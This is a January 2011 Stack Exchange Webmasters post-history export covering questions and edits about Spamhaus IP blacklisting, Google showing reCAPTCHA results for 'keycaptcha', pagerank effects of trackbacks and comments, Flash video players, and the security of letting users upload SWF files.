  <row Id="17925" PostHistoryTypeId="5" PostId="8311" RevisionGUID="cce0a0bb-4115-4e5d-897f-226ce05ec587" CreationDate="2011-01-27T04:41:56.900" UserId="4643" Comment="added 1198 characters in body" Text="I frequently read that it is possible to remove individual ip-addresses from SPAMHAUS blacklisting.  &#xD;&#xA;&#xD;&#xA;OK. Here is 91.205.43.252 used by back2.stopspamers.com on a dedicated server in Switzerland.  &#xD;&#xA;The query [http://www.spamhaus.org/query/bl?ip=91.205.43.252][1]   tells that:  &#xD;&#xA;&#xD;&#xA;  - 91.205.43.252 is listed in the [SBL80808][2] blacklist&#xD;&#xA;&#xD;&#xA;And [SBL80808][3] blacklist tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;Ref: SBL80808  &#xD;&#xA;   91.205.40.0/22 is listed on the Spamhaus Block List (SBL)  &#xD;&#xA;01-Apr-2010 05:52 GMT | SR04&#xD;&#xA;&#xD;&#xA;  Spamming and now seems this place is involved in other fraud&quot;  &#xD;&#xA;&#xD;&#xA;91.205.43.252 is not listed amongst criminal ip-addresses but there is no way to remove it individually from black listing. &#xD;&#xA; &#xD;&#xA;How to remove this individual  (91.205.43.252) address from SPAMHAUS blacklist?   &#xD;&#xA;ISP and dedicated server hoster do not answer.  &#xD;&#xA;&#xD;&#xA;And why the heck SPAMHAUS is blacklisting spam-stopping service?  &#xD;&#xA;&#xD;&#xA;This is only one example of a bunch.  &#xD;&#xA;&#xD;&#xA;My related posts:  &#xD;&#xA; &#xD;&#xA;  - [Blacklist IP database][4]  &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;From the answer provided I realized that my question was not even understood.  &#xD;&#xA;&#xD;&#xA;This ip-address **91.205.43.252** is not blacklisted individually, it is blacklisted through its supernet **91.205.40.0/22**.  &#xD;&#xA;Also note that dedicated server, ISP and customer are in much different distant countries. Didicated server provider has only online contact form (not even Email oк other means of communication). If it does not answer, what can be done?    &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;[http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808#removal][5] tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;To have record SBL80808 (91.205.40.0/22) removed from the SBL, the Abuse/Security representative of RIPE (or the Internet Service Provider responsible for supplying connectivity to 91.205.40.0/22) needs to contact the SBL Team&quot;  &#xD;&#xA;&#xD;&#xA;There dozens of &quot;abusers&quot; int that [blcklist SBL80808][6] the company using that dedicated server is not ISP or RIPE representative to treat this questions. Even if to treat it, it is just a matter of pressing &quot;Repoert spam&quot; on internet to be again balcklisted, this is fruitless approach.  &#xD;&#xA;[These techniques are broadly used by criminals and spammers][7], See also [this my post on blacklisting][8].     &#xD;&#xA;  &#xD;&#xA;This is just one specific example but there are many-many more.    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.spamhaus.org/query/bl?ip=91.205.43.252&#xD;&#xA;  [2]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [3]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808#removal&#xD;&#xA;  [6]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [7]: http://www.blackhatworld.com/blackhat-seo/black-hat-seo-tools/273203-scrapebox-facts-about-public-private-proxies-blog-commenting-akismet.html#post2456209&#xD;&#xA;  [8]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="17926" PostHistoryTypeId="2" PostId="8327" RevisionGUID="f051e400-b478-438c-bcb2-1369e7abfdd9" CreationDate="2011-01-27T04:42:45.090" UserId="1064" Text="&gt; What if I send a tracback to someone else's blog, does it help my blog's pagerank?&#xD;&#xA;&#xD;&#xA;[Trackbacks][1] are intended to notify another blog owner when you have created a link to his or her blog. Without a link to the blog in question, a trackback from your blog is meaningless and may very well be considered spam.&#xD;&#xA;&#xD;&#xA;Note that most modern blogging platforms allow trackback moderation - there's a very good chance your trackback will not be displayed unless you actually linked to the blog in question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; If I register a comment to other&#xD;&#xA;&gt; blogs(with my blog address), does it&#xD;&#xA;&gt; help my blog's pagerank?&#xD;&#xA;&#xD;&#xA;Perhaps a little bit, however, many blog owners (as a result of continuous comment spam) now use Javascript-powered comment widgets like [Disqus][2] and many bloggers designate comment links as [nofollow links][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; I just wrote my blog address at here.&#xD;&#xA;&gt; does it help my blog's pagerank?&#xD;&#xA;&#xD;&#xA;View source on this page and see for yourself. (Hint: `rel=&quot;nofollow&quot;`)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; If I send a tracback to someone's blog&#xD;&#xA;&gt; which is very famous, does it help my&#xD;&#xA;&gt; blog's pagerank much more?&#xD;&#xA;&#xD;&#xA;See first answer.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Trackback&#xD;&#xA;  [2]: http://disqus.com/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Nofollow" />
  <row Id="17927" PostHistoryTypeId="5" PostId="8311" RevisionGUID="2cfabf8d-7cd0-4bbe-856a-75bbb369fe76" CreationDate="2011-01-27T04:48:53.850" UserId="4643" Comment="added 5 characters in body" Text="I frequently read that it is possible to remove individual ip-addresses from SPAMHAUS blacklisting.  &#xD;&#xA;&#xD;&#xA;OK. Here is 91.205.43.252 used by back2.stopspamers.com on a dedicated server in Switzerland.  &#xD;&#xA;The query [http://www.spamhaus.org/query/bl?ip=91.205.43.252][1]   tells that:  &#xD;&#xA;&#xD;&#xA;  - 91.205.43.252 is listed in the [SBL80808][2] blacklist&#xD;&#xA;&#xD;&#xA;And [SBL80808][3] blacklist tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;Ref: SBL80808  &#xD;&#xA;   91.205.40.0/22 is listed on the Spamhaus Block List (SBL)  &#xD;&#xA;01-Apr-2010 05:52 GMT | SR04&#xD;&#xA;&#xD;&#xA;  Spamming and now seems this place is involved in other fraud&quot;  &#xD;&#xA;&#xD;&#xA;91.205.43.252 is not listed amongst criminal ip-addresses but there is no way to remove it individually from black listing. &#xD;&#xA; &#xD;&#xA;How to remove this individual  (91.205.43.252) address from SPAMHAUS blacklist?   &#xD;&#xA;ISP and dedicated server hoster do not answer.  &#xD;&#xA;&#xD;&#xA;And why the heck SPAMHAUS is blacklisting spam-stopping service?  &#xD;&#xA;&#xD;&#xA;This is only one example of a bunch.  &#xD;&#xA;&#xD;&#xA;My related posts:  &#xD;&#xA; &#xD;&#xA;  - [Blacklist IP database][4]  &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;From the answer provided I realized that my question was not even understood.  &#xD;&#xA;&#xD;&#xA;This ip-address **91.205.43.252** is not blacklisted individually, it is blacklisted through its supernet **91.205.40.0/22**.  &#xD;&#xA;Also note that dedicated server, ISP and customer are in much different distant countries. Didicated server provider has only online contact form (not even Email oк other means of communication). If it does not answer, what can be done?    &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;[http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808#removal][5] tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;To have record SBL80808 (91.205.40.0/22) removed from the SBL, the Abuse/Security representative of RIPE (or the Internet Service Provider responsible for supplying connectivity to 91.205.40.0/22) needs to contact the SBL Team&quot;  &#xD;&#xA;&#xD;&#xA;There are dozens of &quot;abusers&quot; in that [blcklist SBL80808][6].&#xD;&#xA;The company using that dedicated server is not an ISP or RIPE representative to treat this issues. Even if to treat it, it is just a matter of pressing &quot;Repoert spam&quot; on internet to be again balcklisted, this is fruitless approach.  &#xD;&#xA;[These techniques are broadly used by criminals and spammers][7], See also [this my post on blacklisting][8].     &#xD;&#xA;  &#xD;&#xA;This is just one specific example but there are many-many more.    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.spamhaus.org/query/bl?ip=91.205.43.252&#xD;&#xA;  [2]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [3]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808#removal&#xD;&#xA;  [6]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [7]: http://www.blackhatworld.com/blackhat-seo/black-hat-seo-tools/273203-scrapebox-facts-about-public-private-proxies-blog-commenting-akismet.html#post2456209&#xD;&#xA;  [8]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="17928" PostHistoryTypeId="5" PostId="8313" RevisionGUID="d2d56a43-d33d-4013-b4e9-63b79d7541a8" CreationDate="2011-01-27T04:54:03.643" UserId="4643" Comment="added 9 characters in body; edited title" Text="I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly to start using google.com as I am always redirected to google.ru.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.ru/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24" />
  <row Id="17929" PostHistoryTypeId="4" PostId="8313" RevisionGUID="d2d56a43-d33d-4013-b4e9-63b79d7541a8" CreationDate="2011-01-27T04:54:03.643" UserId="4643" Comment="added 9 characters in body; edited title" Text="Why googling by keycaptcha gives results on reCAPTCHA?" />
  <row Id="17930" PostHistoryTypeId="5" PostId="8313" RevisionGUID="e7300bfe-86bc-40b5-89fd-ceb05e6d4256" CreationDate="2011-01-27T04:59:13.263" UserId="4643" Comment="added 79 characters in body" Text="I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24" />
  <row Id="17931" PostHistoryTypeId="25" PostId="8319" RevisionGUID="fbe9e8bd-f37b-482c-b755-c5673a221e1c" CreationDate="2011-01-27T05:15:59.553" Comment="http://twitter.com/#!/StackWebmasters/status/30494204153036800" />
  <row Id="17932" PostHistoryTypeId="2" PostId="8328" RevisionGUID="d6aabf46-f448-48cb-82cc-0dd3d07be256" CreationDate="2011-01-27T05:41:30.560" UserId="4879" Text="I'd assume that this is done because nothing of real significance, in the last 24 hours, has been put on the internet regarding keycaptcha.&#xD;&#xA;&#xD;&#xA;Regardless of the reason for the google results, you are fully able to get around this by searching for *keycaptcha -recaptcha* or *&quot;keycaptcha&quot; -recaptcha*" />
  <row Id="17933" PostHistoryTypeId="2" PostId="8329" RevisionGUID="033b0a60-7e47-4e36-9a42-eef3839a16d8" CreationDate="2011-01-27T05:51:47.447" UserId="4879" Text="My web site comes in first on google if you search for solar coordinates.  Of course, it helps that the domain name itself is solarcoordinates.com, but even searching for benjaminlog does not produce a result for your site anywhere on the first page.&#xD;&#xA;&#xD;&#xA;I have **NO IDEA** how google's rankings work, but my guess would be that it would greatly help your cause to have English translations in an */en/* directory.  Although I'm sure google.jp would have no problem ranking your page high if it was benjaminlog.jp, I would guess that, since the official language of the US is English, that it greatly favors English-language web sites.&#xD;&#xA;&#xD;&#xA;It only makes sense that since I live in the US, if I were to search for *Vladimir Putin*, I would get web sites in English, since I, and pretty much every other American, would have no use for a site about Putin that is in Russian.  Similarly, even if someone in Japan were to search for something that might be on your web site, I would guess that google would still slightly favor .jp sites over .com sites, since .jp sites are far more likely to be owned and hosted by people in Japan." />
  <row Id="17934" PostHistoryTypeId="5" PostId="8329" RevisionGUID="05b1a842-e7e8-4e86-94b0-4beafc14a3fb" CreationDate="2011-01-27T06:07:56.247" UserId="4879" Comment="added 148 characters in body; deleted 5 characters in body" Text="My web site comes in first on google if you search for solar coordinates.  Of course, it helps that the domain name itself is solarcoordinates.com, but even searching for benjaminlog does not produce a result for your site anywhere on the first page.&#xD;&#xA;&#xD;&#xA;I have **NO IDEA** how google's rankings work, but my guess would be that it would greatly help your cause to have English translations in an */en/* directory.  Although I'm sure google.jp would have no problem ranking your page high if it was benjaminlog.jp, I would guess, since the official language of the US is English, that it greatly favors English-language web sites when people located in the US use google.com (as opposed to google.jp, etc.,) which accounts for probably 99% of all google searches here in the US.&#xD;&#xA;&#xD;&#xA;It only makes sense that since I live in the US, if I were to search for *Vladimir Putin*, I would get web sites in English, since I, and pretty much every other American, would have no use for a site about Putin that is in Russian.  Similarly, even if someone in Japan were to search for something that might be on your web site, I would guess that google would still slightly favor .jp sites over .com sites, since .jp sites are far more likely to be owned and hosted by people in Japan." />
  <row Id="17935" PostHistoryTypeId="5" PostId="8329" RevisionGUID="e64b102e-6057-4159-b906-c8ec0d7a518a" CreationDate="2011-01-27T06:17:04.647" UserId="4879" Comment="deleted 254 characters in body; added 466 characters in body; added 51 characters in body" Text="I have **NO IDEA** how google's rankings work, but my guess would be that it would greatly help your cause to have English translations in an */en/* directory.  Although I'm sure google.jp would have no problem ranking your page high if it was benjaminlog.jp, I would guess, since the official language of the US is English, that it greatly favors English-language web sites when people located in the US use google.com (as opposed to google.jp, etc.,) which accounts for probably 99% of all google searches here in the US.&#xD;&#xA;&#xD;&#xA;It only makes sense that since I live in the US, if I were to search for *Vladimir Putin*, I would get web sites in English, since I, and pretty much every other American, would have no use for a site about Putin that is in Russian.  Similarly, even if someone in Japan were to search for something that might be on your web site, I would guess that google would still slightly favor .jp sites over .com sites, since .jp sites are far more likely to be owned and hosted by people in Japan.&#xD;&#xA;&#xD;&#xA;(Note: My web site ranks first on google if you search for the appropriate technical term, which is also the domain name itself.  I'm sure that helps my cause, but it was obviously insufficient, in your case, to bump you up to #1, or even the first page, for the searches *benjamin log* and *benjaminlog*.  How I managed to get #1, I have no idea, but I'm not complaining!  Like I said, though, I'd blame a significant portion of your low page rank on the exclusive use of the Japanese language on your web site.)" />
  <row Id="17936" PostHistoryTypeId="5" PostId="8321" RevisionGUID="addbf438-86ac-4913-bb54-ff00b5883694" CreationDate="2011-01-27T06:20:39.470" UserId="3067" Comment="added 162 characters in body" Text="I would like to get higher pagerank for my blog.  &#xD;&#xA;I know good contents are most important for SEO.  &#xD;&#xA;But I guess there are miscellaneous things(but legal) which site operators should know.  &#xD;&#xA;&#xD;&#xA;These are something I wanted to know.&#xD;&#xA;&#xD;&#xA; - What if I send a tracback to someone else's blog, does it help my blog's pagerank?  &#xD;&#xA; - If I register a comment to other blogs(with my blog address), does it help my blog's pagerank?  &#xD;&#xA; - http://benjaminlog.com/ &lt;- I just wrote my blog address at here. does it help my blog's pagerank?  &#xD;&#xA; - If I send a tracback to someone's blog which is very famous, does it help my blog's pagerank **much more**?&#xD;&#xA; - If I register a comment to other blogs which is very famous, does it help my blog's pagerank **much more**?  &#xD;&#xA;&#xD;&#xA;If you have any tips else, please answer it." />
  <row Id="17937" PostHistoryTypeId="5" PostId="8329" RevisionGUID="e8525815-1441-4e54-8f1a-8ad626563172" CreationDate="2011-01-27T06:24:27.433" UserId="4879" Comment="added 199 characters in body" Text="I have **NO IDEA** how google's rankings work, but my guess would be that it would greatly help your cause to have English translations in an */en/* directory.  Although I'm sure google.jp would have no problem ranking your page high if it was benjaminlog.jp, I would guess, since the official language of the US is English, that it greatly favors English-language web sites when people located in the US use google.com (as opposed to google.jp, etc.,) which accounts for probably 99% of all google searches here in the US.&#xD;&#xA;&#xD;&#xA;It only makes sense that since I live in the US, if I were to search for *Vladimir Putin*, I would get web sites in English, since I, and pretty much every other American, would have no use for a site about Putin that is in Russian.  Similarly, even if someone in Japan were to search for something that might be on your web site, I would guess that google would still slightly favor .jp sites over .com sites, since .jp sites are far more likely to be owned and hosted by people in Japan.&#xD;&#xA;&#xD;&#xA;Another problem with your web site is that it uses no meta keywords or description.  Although meta keywords and descriptions won't, in and of themselves, boost your page rank considerably, they should definitely help a little.&#xD;&#xA;&#xD;&#xA;(Note: My web site ranks first on google if you search for the appropriate technical term, which is also the domain name itself.  I'm sure that helps my cause, but it was obviously insufficient, in your case, to bump you up to #1, or even the first page, for the searches *benjamin log* and *benjaminlog*.  How I managed to get #1, I have no idea, but I'm not complaining!  Like I said, though, I'd blame your low page rank mostly on the language issues and the lack of meta info..)" />
  <row Id="17938" PostHistoryTypeId="5" PostId="8321" RevisionGUID="ac75669f-3efd-4b0a-848c-84b38af8f660" CreationDate="2011-01-27T06:56:38.663" UserId="3067" Comment="added 109 characters in body" Text="I would like to get higher pagerank for my blog.  &#xD;&#xA;I know good contents are most important for SEO.  &#xD;&#xA;But I guess there are miscellaneous things(but legal) which site operators should know.  &#xD;&#xA;&#xD;&#xA;These are something I wanted to know.&#xD;&#xA;&#xD;&#xA; - What if I send a tracback to someone else's blog, does it help my blog's pagerank?  &#xD;&#xA; - If I register a comment to other blogs(with my blog address), does it help my blog's pagerank?  &#xD;&#xA; - http://benjaminlog.com/ &lt;- I just wrote my blog address at here. does it help my blog's pagerank?  &#xD;&#xA; - If I send a tracback to someone's blog which is very famous, does it help my blog's pagerank **much more**?&#xD;&#xA; - If I register a comment to other blogs which is very famous, does it help my blog's pagerank **much more**?  &#xD;&#xA; - If I write a post at newsgroup(include blog address to my signature), does it help my blog's pagerank?  &#xD;&#xA;&#xD;&#xA;If you have any tips else, please answer it." />
  <row Id="17939" PostHistoryTypeId="2" PostId="8330" RevisionGUID="0a2536b4-7ebf-4041-84b4-d7d36d6551af" CreationDate="2011-01-27T07:01:46.637" UserId="4947" Text="Are there any good free skinable Flash video players, other than Flowplayer? I need something that works well in IE. Something open source would also be nice." />
  <row Id="17940" PostHistoryTypeId="1" PostId="8330" RevisionGUID="0a2536b4-7ebf-4041-84b4-d7d36d6551af" CreationDate="2011-01-27T07:01:46.637" UserId="4947" Text="Any free skinable alternatives for Flowplayer for video playback?" />
  <row Id="17941" PostHistoryTypeId="3" PostId="8330" RevisionGUID="0a2536b4-7ebf-4041-84b4-d7d36d6551af" CreationDate="2011-01-27T07:01:46.637" UserId="4947" Text="&lt;internet-explorer&gt;&lt;video&gt;&lt;flash&gt;&lt;free&gt;&lt;open-source&gt;" />
  <row Id="17943" PostHistoryTypeId="2" PostId="8332" RevisionGUID="5e060505-7264-4fb4-a01e-9b18e5801e89" CreationDate="2011-01-27T07:41:57.943" UserId="500" Text="Lets say I have a website where users are allowed to upload files which will be displayed publicly, e.g. as a portfolio gallery. For example, they might upload screenshots of a website they designed, or a MS Word document of some PR example, or a pdf of their CV, etc.&#xD;&#xA;&#xD;&#xA;Some files will be blacklisted for security reasons, e.g. .zip files, .exe files and .php files.&#xD;&#xA;&#xD;&#xA;What about flash files? Is their any security concerns if I was going to host swf files and automatically play them?&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    if ($extension == 'swf') {&#xD;&#xA;        echo '&lt;object classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0&quot; width=&quot;640&quot; height=&quot;430&quot;&gt;&#xD;&#xA;           &lt;param name=&quot;movie&quot; value=&quot;/'.$info['file_path'].'&quot; /&gt;&#xD;&#xA;           &lt;param name=&quot;quality&quot; value=&quot;high&quot; /&gt;&#xD;&#xA;           &lt;param name=&quot;wmode&quot; value=&quot;transparent&quot;&gt;&#xD;&#xA;           &lt;embed wmode=&quot;transparent&quot; src=&quot;/'.$info['file_path'].'&quot; quality=&quot;high&quot; pluginspage=&quot;http://www.macromedia.com/go/getflashplayer&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;400&quot; height=&quot;430&quot;&gt;&lt;/embed&gt;&#xD;&#xA;        &lt;/object&gt;';&#xD;&#xA;    }&#xD;&#xA;    ?&gt;" />
  <row Id="17944" PostHistoryTypeId="1" PostId="8332" RevisionGUID="5e060505-7264-4fb4-a01e-9b18e5801e89" CreationDate="2011-01-27T07:41:57.943" UserId="500" Text="Are there any security considerations if users are allowed to upload flash files" />
  <row Id="17945" PostHistoryTypeId="3" PostId="8332" RevisionGUID="5e060505-7264-4fb4-a01e-9b18e5801e89" CreationDate="2011-01-27T07:41:57.943" UserId="500" Text="&lt;php&gt;&lt;flash&gt;&lt;uploading&gt;&lt;web-security&gt;" />
  <row Id="17946" PostHistoryTypeId="5" PostId="8332" RevisionGUID="948179b0-d40e-4216-8eaa-91ef46526e4d" CreationDate="2011-01-27T08:05:27.520" UserId="500" Comment="added 5 characters in body; added 141 characters in body; deleted 18 characters in body; added 4 characters in body" Text="Lets say I have a website where users are allowed to upload files which will be displayed publicly as a portfolio gallery. For example, users might upload screenshots of a website they designed, or a MS Word document of some PR example text, or a PDF of their CV, etc.&#xD;&#xA;&#xD;&#xA;Some files will be blacklisted for security reasons, e.g. `.zip` files, `.exe` files and `.php` files.&#xD;&#xA;&#xD;&#xA;What about flash files? Is there any security concerns if I was going to host `.swf` files and automatically play them?&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    if ($extension == 'swf') {&#xD;&#xA;        echo '&lt;object classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0&quot; width=&quot;640&quot; height=&quot;430&quot;&gt;&#xD;&#xA;           &lt;param name=&quot;movie&quot; value=&quot;/'.$urlToFLV.'&quot; /&gt;&#xD;&#xA;           &lt;param name=&quot;quality&quot; value=&quot;high&quot; /&gt;&#xD;&#xA;           &lt;param name=&quot;wmode&quot; value=&quot;transparent&quot;&gt;&#xD;&#xA;           &lt;embed wmode=&quot;transparent&quot; src=&quot;/'.$urlToFLV.'&quot; quality=&quot;high&quot; pluginspage=&quot;http://www.macromedia.com/go/getflashplayer&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;400&quot; height=&quot;430&quot;&gt;&lt;/embed&gt;&#xD;&#xA;        &lt;/object&gt;';&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;I guess the flash code is executed in the users browser, so if there was a security issue, it would be on their machines, not our server?" />
  <row Id="17947" PostHistoryTypeId="25" PostId="8330" RevisionGUID="7fce3584-dc91-46fc-b46f-afac24010f13" CreationDate="2011-01-27T08:16:00.083" Comment="http://twitter.com/#!/StackWebmasters/status/30539504926330880" />
